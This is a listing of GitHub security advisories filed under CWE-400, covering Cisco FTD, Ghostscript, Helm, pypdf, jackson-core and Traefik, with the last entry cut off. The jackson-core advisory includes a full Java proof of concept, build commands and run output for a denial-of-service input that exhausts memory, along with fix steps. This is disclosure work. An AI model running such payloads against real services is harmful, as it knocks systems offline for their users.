CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6465 vulnerabilities reference this CWE, most recent first.
GHSA-7H96-458W-8P54
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2026-08-11 21:31A vulnerability in the internal packet-processing functionality of Cisco Firepower Threat Defense (FTD) Software for the Cisco Firepower 2100 Series could allow an unauthenticated, remote attacker to cause an affected device to stop processing traffic, resulting in a denial of service (DoS) condition. The vulnerability is due to a logic error, which may prevent ingress buffers from being replenished under specific traffic conditions. An attacker could exploit this vulnerability by sending a series of crafted packets to an affected device. A successful exploit could allow the attacker to consume all input buffers, which are shared between all interfaces, leading to a queue wedge condition in all active interfaces. This situation would cause an affected device to stop processing any incoming traffic and result in a DoS condition until the device is reloaded manually.
{
"affected": [],
"aliases": [
"CVE-2019-1703"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-03T16:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the internal packet-processing functionality of Cisco Firepower Threat Defense (FTD) Software for the Cisco Firepower 2100 Series could allow an unauthenticated, remote attacker to cause an affected device to stop processing traffic, resulting in a denial of service (DoS) condition. The vulnerability is due to a logic error, which may prevent ingress buffers from being replenished under specific traffic conditions. An attacker could exploit this vulnerability by sending a series of crafted packets to an affected device. A successful exploit could allow the attacker to consume all input buffers, which are shared between all interfaces, leading to a queue wedge condition in all active interfaces. This situation would cause an affected device to stop processing any incoming traffic and result in a DoS condition until the device is reloaded manually.",
"id": "GHSA-7h96-458w-8p54",
"modified": "2026-08-11T21:31:33Z",
"published": "2022-05-24T16:45:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1703"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190501-frpwr-dos"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108170"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7H9W-VH8M-RJ5G
Vulnerability from github – Published: 2022-08-20 00:00 – Updated: 2025-04-30 12:31A heap-based buffer over write vulnerability was found in GhostScript's lp8000_print_page() function in gdevlp8k.c file. An attacker could trick a user to open a crafted PDF file, triggering the heap buffer overflow that could lead to memory corruption or a denial of service.
{
"affected": [],
"aliases": [
"CVE-2020-27792"
],
"database_specific": {
"cwe_ids": [
"CWE-119",
"CWE-122",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-19T23:15:00Z",
"severity": "HIGH"
},
"details": "A heap-based buffer over write vulnerability was found in GhostScript\u0027s lp8000_print_page() function in gdevlp8k.c file. An attacker could trick a user to open a crafted PDF file, triggering the heap buffer overflow that could lead to memory corruption or a denial of service.",
"id": "GHSA-7h9w-vh8m-rj5g",
"modified": "2025-04-30T12:31:21Z",
"published": "2022-08-20T00:00:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27792"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:4362"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2020-27792"
},
{
"type": "WEB",
"url": "https://bugs.ghostscript.com/show_bug.cgi?id=701844"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2247179"
},
{
"type": "WEB",
"url": "https://git.ghostscript.com/?p=ghostpdl.git%3Ba=commitdiff%3Bh=4f6bc662909ab79e8fbe9822afb36e8a0eafc2b7"
},
{
"type": "WEB",
"url": "https://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=4f6bc662909ab79e8fbe9822afb36e8a0eafc2b7"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/09/msg00005.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7HFP-QFW3-5JXH
Vulnerability from github – Published: 2022-08-30 20:52 – Updated: 2023-08-30 18:43Fuzz testing, by Ada Logics and sponsored by the CNCF, identified input to functions in the _strvals_ package that can cause an out of memory panic. Out of memory panics cannot be recovered from. Applications that use functions from the _strvals_ package in the Helm SDK can have a Denial of Service attack when they use this package and it panics.
Impact
The _strvals_ package contains a parser that turns strings into Go structures. For example, the Helm client has command line flags like --set, --set-string, and others that enable the user to pass in strings that are merged into the values. The _strvals_ package converts these strings into structures Go can work with. Some string inputs can cause array data structures to be created causing an out of memory panic.
Applications that use the _strvals_ package in the Helm SDK to parse user supplied input can suffer a Denial of Service when that input causes a panic that cannot be recovered from.
The Helm Client will panic with input to --set, --set-string, and other value setting flags that causes an out of memory panic. Helm is not a long running service so the panic will not affect future uses of the Helm client.
Patches
This issue has been resolved in 3.9.4.
Workarounds
SDK users can validate strings supplied by users won't create large arrays causing significant memory usage before passing them to the _strvals_ functions.
For more information
Helm's security policy is spelled out in detail in our SECURITY document.
Credits
Disclosed by Ada Logics in a fuzzing audit sponsored by CNCF.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "helm.sh/helm/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-36055"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-30T20:52:31Z",
"nvd_published_at": "2022-09-01T13:15:00Z",
"severity": "MODERATE"
},
"details": "Fuzz testing, by Ada Logics and sponsored by the CNCF, identified input to functions in the `_strvals_` package that can cause an out of memory panic. Out of memory panics cannot be recovered from. Applications that use functions from the `_strvals_` package in the Helm SDK can have a Denial of Service attack when they use this package and it panics.\n\n### Impact\n\nThe `_strvals_` package contains a parser that turns strings into Go structures. For example, the Helm client has command line flags like `--set`, `--set-string`, and others that enable the user to pass in strings that are merged into the values. The `_strvals_` package converts these strings into structures Go can work with. Some string inputs can cause array data structures to be created causing an out of memory panic.\n\nApplications that use the `_strvals_` package in the Helm SDK to parse user supplied input can suffer a Denial of Service when that input causes a panic that cannot be recovered from.\n\nThe Helm Client will panic with input to `--set`, `--set-string`, and other value setting flags that causes an out of memory panic. Helm is not a long running service so the panic will not affect future uses of the Helm client.\n\n### Patches\n\nThis issue has been resolved in 3.9.4. \n\n### Workarounds\n\nSDK users can validate strings supplied by users won\u0027t create large arrays causing significant memory usage before passing them to the `_strvals_` functions.\n\n### For more information\n\nHelm\u0027s security policy is spelled out in detail in our [SECURITY](https://github.com/helm/community/blob/master/SECURITY.md) document.\n\n### Credits\n\nDisclosed by Ada Logics in a fuzzing audit sponsored by CNCF.",
"id": "GHSA-7hfp-qfw3-5jxh",
"modified": "2023-08-30T18:43:09Z",
"published": "2022-08-30T20:52:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/helm/helm/security/advisories/GHSA-7hfp-qfw3-5jxh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36055"
},
{
"type": "WEB",
"url": "https://github.com/helm/helm/commit/10466e3e179cc8cad4b0bb451108d3c442c69fbc"
},
{
"type": "PACKAGE",
"url": "https://github.com/helm/helm"
},
{
"type": "WEB",
"url": "https://github.com/helm/helm/releases/tag/v3.9.4"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-0962"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Helm Vulnerable to denial of service through string value parsing"
}
GHSA-7HFW-26VP-JP8M
Vulnerability from github – Published: 2025-08-13 19:51 – Updated: 2025-08-14 13:31Impact
An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires just reading the file if a series of FlateDecode filters is used on a malicious cross-reference stream. Other content streams are affected on explicit access.
Patches
This has been fixed in pypdf==6.0.0.
Workarounds
If you cannot upgrade yet, you might want to implement the workaround for pypdf.filters.decompress yourself: https://github.com/py-pdf/pypdf/blob/0dd57738bbdcdb63f0fb43d8a6b3d222b6946595/pypdf/filters.py#L72-L143
References
This issue has been reported in #3429 and fixed in #3430.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pypdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55197"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-13T19:51:24Z",
"nvd_published_at": "2025-08-13T23:15:27Z",
"severity": "MODERATE"
},
"details": "### Impact\nAn attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires just reading the file if a series of FlateDecode filters is used on a malicious cross-reference stream. Other content streams are affected on explicit access.\n\n### Patches\nThis has been fixed in [pypdf==6.0.0](https://github.com/py-pdf/pypdf/releases/tag/6.0.0).\n\n### Workarounds\nIf you cannot upgrade yet, you might want to implement the workaround for `pypdf.filters.decompress` yourself: https://github.com/py-pdf/pypdf/blob/0dd57738bbdcdb63f0fb43d8a6b3d222b6946595/pypdf/filters.py#L72-L143\n\n### References\nThis issue has been reported in #3429 and fixed in #3430.",
"id": "GHSA-7hfw-26vp-jp8m",
"modified": "2025-08-14T13:31:08Z",
"published": "2025-08-13T19:51:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-7hfw-26vp-jp8m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55197"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/issues/3429"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/pull/3430"
},
{
"type": "PACKAGE",
"url": "https://github.com/py-pdf/pypdf"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/blob/0dd57738bbdcdb63f0fb43d8a6b3d222b6946595/pypdf/filters.py#L72-L143"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/releases/tag/6.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "PyPDF\u0027s Manipulated FlateDecode streams can exhaust RAM"
}
GHSA-7HHH-6RMP-J9QF
Vulnerability from github – Published: 2026-10-01 15:20 – Updated: 2026-10-01 15:20Status
FULLY REPRODUCED. A malformed token fed through createParser(DataInput) produced a
20,000,109-character exception message from a 20-million-character attacker payload, while the
identical payload fed through createParser(InputStream) produced a correctly bounded
367-character message.
Affected Component / Version
- Package:
com.fasterxml.jackson.core:jackson-core - Confirmed against:
jackson-core-2.20.2 - Affected file:
src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java(_reportInvalidToken(int, String, String), lines ~2763-2780 in the 2.20.2 tree)
Technical Analysis
UTF8DataInputJsonParser._reportInvalidToken() builds the offending-token description for its
exception message by appending identifier characters one at a time to a bare StringBuilder:
protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {
StringBuilder sb = new StringBuilder(matchedPart);
while (true) {
char c = (char) _decodeCharForError(ch);
if (!Character.isJavaIdentifierPart(c)) {
break;
}
sb.append(c);
ch = _inputData.readUnsignedByte();
}
_reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg);
}
There is no check against ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)
anywhere in this loop. By contrast, the sibling UTF8StreamJsonParser implementation of the
same logic does enforce it:
// UTF8StreamJsonParser.java (control, correctly bounded)
if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {
sb.append("...");
break;
}
ReaderBasedJsonParser and NonBlockingUtf8JsonParserBase also correctly enforce the limit —
this is a defect isolated to the DataInput-backed implementation specifically, confirmed by
direct comparison of all four parser implementations in this tree.
This path is additionally left with no fallback control: because of [core#1570]-related
logic in JsonFactory, configuring maxDocumentLength causes DataInput-sourced parser
creation to be rejected outright, so a document-length backstop cannot coexist with this input
source, and the identifier-character accumulation never passes through
ReadConstrainedTextBuffer, so maxStringLength does not apply either. There is no
configuration an application can set to mitigate this specific path.
Reproduction Procedure
Same clone/build steps as jackson-core_1_...md. Then:
CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java
java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder
Full PoC Source (poc/PoC6_UnboundedErrorTokenStringBuilder.java)
import com.fasterxml.jackson.core.*;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;
public class PoC6_UnboundedErrorTokenStringBuilder {
static class RepeatingByteInputStream extends InputStream {
private final int b;
private long remaining;
RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }
@Override public int read() {
if (remaining <= 0) return -1;
remaining--;
return b;
}
}
public static void main(String[] args) throws Exception {
final long IDENTIFIER_CHAR_COUNT = 20_000_000L;
System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT
+ " Java-identifier characters ('x'), then a terminating space, never completing"
+ " \"true\"/\"false\"/\"null\"/NaN.\n");
System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===");
{
InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
DataInputStream dataIn = new DataInputStream(raw);
JsonFactory factory = new JsonFactory();
JsonParser p = factory.createParser((java.io.DataInput) dataIn);
long heapBefore = usedHeap();
long t0 = System.nanoTime();
String message = null;
try {
p.nextToken(); p.nextToken(); p.nextToken();
} catch (JsonParseException e) {
message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
} catch (IOException e) {
message = "(stream ended: " + e + ")";
}
long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
long heapAfter = usedHeap();
int msgLen = message == null ? -1 : message.length();
System.out.println("Exception message length: " + msgLen + " characters");
System.out.println("Elapsed time: " + elapsedMs + " ms");
System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB");
System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT
+ "-character payload (unbounded)? " + (msgLen > 1_000_000));
}
System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===");
{
InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
JsonFactory factory = new JsonFactory();
JsonParser p = factory.createParser(raw);
long t0 = System.nanoTime();
String message = null;
try {
p.nextToken(); p.nextToken(); p.nextToken();
} catch (JsonParseException e) {
message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
} catch (IOException e) {
message = "(stream ended: " + e + ")";
}
long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
int msgLen = message == null ? -1 : message.length();
System.out.println("Exception message length: " + msgLen + " characters");
System.out.println("Elapsed time: " + elapsedMs + " ms");
System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500));
}
}
static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {
InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);
return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));
}
static long usedHeap() {
Runtime rt = Runtime.getRuntime();
System.gc();
return rt.totalMemory() - rt.freeMemory();
}
}
Captured Evidence (actual run output)
Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating
space, never completing "true"/"false"/"null"/NaN.
=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===
Exception message length: 20000109 characters
Elapsed time: 81 ms
Approx additional heap used (best-effort, GC-noisy): 38 MB
Message length is proportional to the full 20000000-character attacker payload (unbounded)? true
=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===
Exception message length: 367 characters
Elapsed time: 7 ms
Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true
The same 20-million-character malformed token, fed to the two parser variants, produces a
367-character message via the correctly-bounded InputStream path and a 20,000,109-character
message via the vulnerable DataInput path — a difference of roughly 54,500x for identical
input, confirming the missing bound is the sole cause of the difference.
Impact
Any application creating parsers via JsonFactory.createParser(DataInput) over
attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth
from a single malformed token. Scaling the payload from the 20MB demonstrated here to
gigabytes (well within a typical unbounded request body) would drive the accumulated
StringBuilder — which additionally undergoes byte-to-char expansion and internal doubling —
to consume many times the raw payload size, realistically triggering OutOfMemoryError and
denying service to the whole JVM process. Critically, no available configuration mitigates
this: maxDocumentLength cannot be set for DataInput sources at all, and maxStringLength
does not apply to this code path.
Remediation
- Add the
maxErrorTokenLengthcheck to the append loop inUTF8DataInputJsonParser._reportInvalidToken(), appending"..."and breaking when the limit is reached — mirroring the three other parser implementations exactly. - Add a parameterized regression test across all four parser implementations asserting the
exception message length is bounded by
maxErrorTokenLengthplus a small constant. - Consider extracting this bounded-scan logic into a single shared helper on
ParserMinimalBaseto prevent this class of per-implementation drift recurring.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.21.6"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.22.2"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.6"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.2.2"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.10"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.18.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-89425"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-01T15:20:27Z",
"nvd_published_at": "2026-09-23T03:17:04Z",
"severity": "HIGH"
},
"details": "## Status\n\n**FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a\n20,000,109-character exception message from a 20-million-character attacker payload, while the\nidentical payload fed through `createParser(InputStream)` produced a correctly bounded\n367-character message.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java`\n (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree)\n\n## Technical Analysis\n\n`UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its\nexception message by appending identifier characters one at a time to a bare `StringBuilder`:\n\n```java\nprotected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {\n StringBuilder sb = new StringBuilder(matchedPart);\n while (true) {\n char c = (char) _decodeCharForError(ch);\n if (!Character.isJavaIdentifierPart(c)) {\n break;\n }\n sb.append(c);\n ch = _inputData.readUnsignedByte();\n }\n _reportError(\"Unrecognized token \u0027\"+sb.toString()+\"\u0027: was expecting \"+msg);\n}\n```\n\nThere is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256)\nanywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the\nsame logic does enforce it:\n\n```java\n// UTF8StreamJsonParser.java (control, correctly bounded)\nif (sb.length() \u003e= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {\n sb.append(\"...\");\n break;\n}\n```\n\n`ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit \u2014\nthis is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by\ndirect comparison of all four parser implementations in this tree.\n\nThis path is additionally left with **no fallback control**: because of `[core#1570]`-related\nlogic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser\ncreation to be rejected outright, so a document-length backstop cannot coexist with this input\nsource, and the identifier-character accumulation never passes through\n`ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no\nconfiguration an application can set to mitigate this specific path.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java\njava -Xmx2g -cp \"poc:$CP\" PoC6_UnboundedErrorTokenStringBuilder\n```\n\n## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`)\n\n```java\nimport com.fasterxml.jackson.core.*;\n\nimport java.io.DataInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class PoC6_UnboundedErrorTokenStringBuilder {\n\n static class RepeatingByteInputStream extends InputStream {\n private final int b;\n private long remaining;\n RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }\n @Override public int read() {\n if (remaining \u003c= 0) return -1;\n remaining--;\n return b;\n }\n }\n\n public static void main(String[] args) throws Exception {\n final long IDENTIFIER_CHAR_COUNT = 20_000_000L;\n\n System.out.println(\"Malformed token: \\\"t\\\" followed by \" + IDENTIFIER_CHAR_COUNT\n + \" Java-identifier characters (\u0027x\u0027), then a terminating space, never completing\"\n + \" \\\"true\\\"/\\\"false\\\"/\\\"null\\\"/NaN.\\n\");\n\n System.out.println(\"=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\");\n {\n InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n new RepeatingByteInputStream(\u0027x\u0027, IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n DataInputStream dataIn = new DataInputStream(raw);\n JsonFactory factory = new JsonFactory();\n JsonParser p = factory.createParser((java.io.DataInput) dataIn);\n\n long heapBefore = usedHeap();\n long t0 = System.nanoTime();\n String message = null;\n try {\n p.nextToken(); p.nextToken(); p.nextToken();\n } catch (JsonParseException e) {\n message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n } catch (IOException e) {\n message = \"(stream ended: \" + e + \")\";\n }\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n long heapAfter = usedHeap();\n\n int msgLen = message == null ? -1 : message.length();\n System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n System.out.println(\"Approx additional heap used: \" + ((heapAfter - heapBefore) / (1024 * 1024)) + \" MB\");\n System.out.println(\"Message length proportional to the full \" + IDENTIFIER_CHAR_COUNT\n + \"-character payload (unbounded)? \" + (msgLen \u003e 1_000_000));\n }\n\n System.out.println(\"\\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\");\n {\n InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n new RepeatingByteInputStream(\u0027x\u0027, IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n JsonFactory factory = new JsonFactory();\n JsonParser p = factory.createParser(raw);\n\n long t0 = System.nanoTime();\n String message = null;\n try {\n p.nextToken(); p.nextToken(); p.nextToken();\n } catch (JsonParseException e) {\n message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n } catch (IOException e) {\n message = \"(stream ended: \" + e + \")\";\n }\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n int msgLen = message == null ? -1 : message.length();\n System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n System.out.println(\"Message length bounded near default maxErrorTokenLength (256)? \" + (msgLen \u003c 500));\n }\n }\n\n static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {\n InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);\n return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));\n }\n\n static long usedHeap() {\n Runtime rt = Runtime.getRuntime();\n System.gc();\n return rt.totalMemory() - rt.freeMemory();\n }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nMalformed token: \"t\" followed by 20000000 Java-identifier characters (\u0027x\u0027), then a terminating\nspace, never completing \"true\"/\"false\"/\"null\"/NaN.\n\n=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\nException message length: 20000109 characters\nElapsed time: 81 ms\nApprox additional heap used (best-effort, GC-noisy): 38 MB\nMessage length is proportional to the full 20000000-character attacker payload (unbounded)? true\n\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\nException message length: 367 characters\nElapsed time: 7 ms\nMessage length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true\n```\n\nThe same 20-million-character malformed token, fed to the two parser variants, produces a\n367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character\nmessage via the vulnerable `DataInput` path \u2014 a difference of roughly 54,500x for identical\ninput, confirming the missing bound is the sole cause of the difference.\n\n## Impact\n\nAny application creating parsers via `JsonFactory.createParser(DataInput)` over\nattacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth\nfrom a single malformed token. Scaling the payload from the 20MB demonstrated here to\ngigabytes (well within a typical unbounded request body) would drive the accumulated\n`StringBuilder` \u2014 which additionally undergoes byte-to-char expansion and internal doubling \u2014\nto consume many times the raw payload size, realistically triggering `OutOfMemoryError` and\ndenying service to the whole JVM process. Critically, **no available configuration mitigates\nthis**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength`\ndoes not apply to this code path.\n\n## Remediation\n\n1. Add the `maxErrorTokenLength` check to the append loop in\n `UTF8DataInputJsonParser._reportInvalidToken()`, appending `\"...\"` and breaking when the\n limit is reached \u2014 mirroring the three other parser implementations exactly.\n2. Add a parameterized regression test across all four parser implementations asserting the\n exception message length is bounded by `maxErrorTokenLength` plus a small constant.\n3. Consider extracting this bounded-scan logic into a single shared helper on\n `ParserMinimalBase` to prevent this class of per-implementation drift recurring.",
"id": "GHSA-7hhh-6rmp-j9qf",
"modified": "2026-10-01T15:20:27Z",
"published": "2026-10-01T15:20:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-7hhh-6rmp-j9qf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89425"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1698"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/211cf2c5d91abbec38067f37efc1363cd4e88ee3"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-2.18.11"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-3.2.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -\u003e unbounded StringBuilder growth (DoS)"
}
GHSA-7HJ9-RV74-5G92
Vulnerability from github – Published: 2023-04-11 20:59 – Updated: 2025-02-13 18:53Impact
There is a vulnerability in Go when parsing the HTTP headers, which impacts Traefik. HTTP header parsing could allocate substantially more memory than required to hold the parsed headers. This behavior could be exploited to cause a denial of service.
References
Patches
- https://github.com/traefik/traefik/releases/tag/v2.9.10
- https://github.com/traefik/traefik/releases/tag/v2.10.0-rc2
Workarounds
No workaround.
For more information
If you have any questions or comments about this advisory, please open an issue.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0-rc1"
},
{
"fixed": "2.10.0-rc2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.10.0-rc1"
]
}
],
"aliases": [
"CVE-2023-29013"
],
"database_specific": {
"cwe_ids": [
